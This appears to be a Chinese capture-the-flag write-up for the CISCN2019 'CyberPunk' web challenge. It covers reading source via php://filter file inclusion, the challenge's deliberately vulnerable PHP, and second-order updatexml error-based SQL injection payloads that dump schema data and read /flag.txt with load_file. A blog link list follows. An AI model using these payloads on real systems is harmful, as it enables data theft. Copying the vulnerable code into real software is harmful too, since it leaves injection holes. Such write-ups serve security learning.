0x00 知识点

PHP伪协议直接读取源码

http://xxx.xxx/index.php?file=php://filter/convert.base64-encode/resource=index.php

updatexml报错注入

不懂的可以看链接:

https://blkstone.github.io/2017/11/09/updatexml-sqli/

关于 updatexml 函数

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

http://www.target.com/index.php?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
http://www.target.com/index.php?id=updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
http://www.target.com/index.php?id=updatexml(1,concat(0x7e,SUBSTR((SELECT @@version),1,24),0x7e),1)

这里解释一下为什么会报错:

ONCAT(str1,str2,…)  

返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。

通过查询@@version,返回版本。然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。

错误大概会是:

ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

另外,updatexml最多只能显示32位,需要配合SUBSTR使用。

updatexml(1,concat(0x7e,SUBSTR((SELECT f14g from f14g LIMIT 0,1),1,24),0x7e),1)
updatexml(1,concat(0x7e,(select substring(f14g,20) from f14g limit 0,1),0x7e),1)

扩展:extractvalue() 报错型SQL注入

1 && extractvalue(0x0a,concat(0x0a,(select database())))#
1 && extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables limit 0,1)))#
1 && extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns limit 0,1)))#
1 && extractvalue(0x0a,concat(0x0a,(select substr(f14g,1,32) from f14g)))#
1 && extractvalue(0x0a,concat(0x0a,(select substr(f14g,15,32) from f14g)))#

0x01 解题

根据源代码提示

先用伪协议读一下源码:

以此类推得到我们通过点击得到的页面

<?php   //index.php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?> <!--?file=?-->
<?php  //change.php
require_once "config.php"; if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
} if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单ä
<?php  //search.php
require_once "config.php"; if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
} if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

分析一下代码:

在查询的时候使用了正则去过滤,而且过滤的内容非常广泛,很难进行注入。

在写入时候使用了预处理所以无法进行注入。但是可以注意到使用正则过滤的时候并没有对地址过滤,我们跟进可以发现在change.php里地址是拼接进sql语句了,但是使用了addslashes()对单引号进行了转义,导致无法逃逸。

但是看这里

$address = addslashes($_POST["address"]);
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}

在修改地址时候会将地址查询出来再拼接到更新语句,那么这里就算我们逃逸不了但是可以将后面的单引号给注释掉导致报错,同时这里将sql错误内容给打印出来了,可以使用报错注入。

payload:

//数据库
1' where user_id=updatexml(1,concat(0x7e,(select substr(database(),1,20)),0x7e),1)#
//表名
1' where user_id=updatexml(1,concat(0x7e,(select substr(table_name,1,20)from information_schema.tables where table_schema='ctfusers'),0x7e),1)#
//字段
1' where user_id=updatexml(1,concat(0x7e,(select substr(group_concat(column_name),1,20)from information_schema.columns where table_name='user'),0x7e),1)#
//数据
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#

这里来解释一下最后的数据,因为我们在查询数据的时候没有flag,就想到了查根目录的flag文件。而且flag分了2部分,我们就应substr查。

使用payload:

先在初始页面随便输数据

接着修改地址,地址修改为所构造的payload。修改之后再次修改,将地址设置为随便一个正常值,这样就能看到报错页面。

如果想要使用新的payload,只需要先删除订单在重复以上操作即可。

参考链接:https://www.plasf.cn/2019/11/02/2019-11-2-复现CISCN2019-华北赛区-Day1-Web5]CyberPunk/

最新文章

  1. [转载]Python &amp; Selenium -- 页面加载时间过长&amp;启动指定FF
  2. iOS错误总结(三)
  3. 【WinRT】国内外 Windows 应用商店应用开发者博客收集
  4. hdu2444 判断二分图+最大匹配
  5. redis 几种数据类型往数据库存数据和取数据的帮助类
  6. 关于Raw,Assets的使用
  7. 开发中/listfile.jsp(11,31) quote symbol expected 这个错误
  8. windows下常用快捷键
  9. Weka 自动优化参数
  10. VC中遍历进程并获取进程信息
  11. Wcf实现IServiceBehavior拓展机制
  12. bzoj3571————2016——3——12(最小乘积匹配)
  13. 【Tomcat源码学习】-5.请求处理
  14. HTTP请求中的Form Data与Request Payload的区别
  15. MX4拍摄视频转码方法
  16. 关于mybatis 注解sql sum(参数)传参写法
  17. Winform文本框只能输入限定的文本
  18. sql server I/O硬盘交互
  19. Windows 下 Mysql8.0.12 的安装方法
  20. Failed to execute &#39;write&#39; on &#39;Document&#39;动态载入的js不能执行write

热门文章

  1. 用java实现输出英文小说飘中出现次数最多的前N个单词(附:使用文件读写)
  2. (2)LoraWAN:Lora LMIC library 编程模型及API
  3. DICOM设备Raw Data与重建
  4. shell和Makefile
  5. 深入理解 C# 协变和逆变 (转载)
  6. vim的几种模式&amp;快捷键
  7. java多线程(待完善)
  8. 802.11X用户身份验证
  9. zabbix监控memcached服务
  10. vs2010编译C++ 静态成员函数的引用